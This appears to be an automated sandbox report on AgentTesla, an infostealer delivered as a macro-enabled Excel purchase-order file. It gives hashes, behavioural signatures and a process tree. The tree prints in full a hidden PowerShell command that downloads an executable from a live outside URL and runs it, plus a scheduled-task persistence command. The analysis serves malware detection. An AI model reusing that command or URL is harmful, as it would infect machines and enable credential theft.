Analysis
-
max time kernel
93s -
max time network
66s -
platform
windows7_x64 -
resource
win7 -
submitted
10-07-2020 07:10
Static task
static1
Behavioral task
behavioral1
Sample
PO-9103829.xlsm
Resource
win7
Behavioral task
behavioral2
Sample
PO-9103829.xlsm
Resource
win10v200430
General
-
Target
PO-9103829.xlsm
-
Size
92KB
-
MD5
14133d71179bdf6257a18dc9808a92d5
-
SHA1
8a74705278d267865391e10a104701eed9438fa2
-
SHA256
15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da
-
SHA512
f4e0c6d2921a2fa2fd0387c522e8c06161870b7c5ae7167b4e95136cdcdeb4ea14afa59e19c975fe57be1e86d4b39d3d264558e2721da4d108893787f0277b71
Malware Config
Extracted
http://manikmeyah.net/wp-content/mu-plugins/unl.exe
Signatures
-
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 896 wrote to memory of 1520 896 EXCEL.EXE 24 PID 896 wrote to memory of 1520 896 EXCEL.EXE 24 PID 896 wrote to memory of 1520 896 EXCEL.EXE 24 PID 1520 wrote to memory of 1892 1520 powershell.exe 27 PID 1520 wrote to memory of 1892 1520 powershell.exe 27 PID 1520 wrote to memory of 1892 1520 powershell.exe 27 PID 1520 wrote to memory of 1892 1520 powershell.exe 27 PID 1892 wrote to memory of 1792 1892 putty.exe 28 PID 1892 wrote to memory of 1792 1892 putty.exe 28 PID 1892 wrote to memory of 1792 1892 putty.exe 28 PID 1892 wrote to memory of 1792 1892 putty.exe 28 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 PID 1892 wrote to memory of 1560 1892 putty.exe 30 -
Loads dropped DLL 1 IoCs
pid Process 1892 putty.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1892 set thread context of 1560 1892 putty.exe 30 -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1520 powershell.exe Token: SeDebugPrivilege 1892 putty.exe Token: SeDebugPrivilege 1560 putty.exe -
Blacklisted process makes network request 1 IoCs
flow pid Process 4 1520 powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1520 896 powershell.exe 23 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1792 schtasks.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 896 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 896 EXCEL.EXE 896 EXCEL.EXE 896 EXCEL.EXE 896 EXCEL.EXE 896 EXCEL.EXE 896 EXCEL.EXE 896 EXCEL.EXE 1560 putty.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1520 powershell.exe 1892 putty.exe 1560 putty.exe 1560 putty.exe -
Executes dropped EXE 2 IoCs
pid Process 1892 putty.exe 1560 putty.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-9103829.xlsm1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://manikmeyah.net/wp-content/mu-plugins/unl.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:1520 -
C:\Users\Admin\AppData\Local\Temp\putty.exe"C:\Users\Admin\AppData\Local\Temp\putty.exe"3⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1892 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CKDrTaW" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC38C.tmp"4⤵
- Creates scheduled task(s)
PID:1792
-
-
C:\Users\Admin\AppData\Local\Temp\putty.exe"{path}"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1560
-
-
-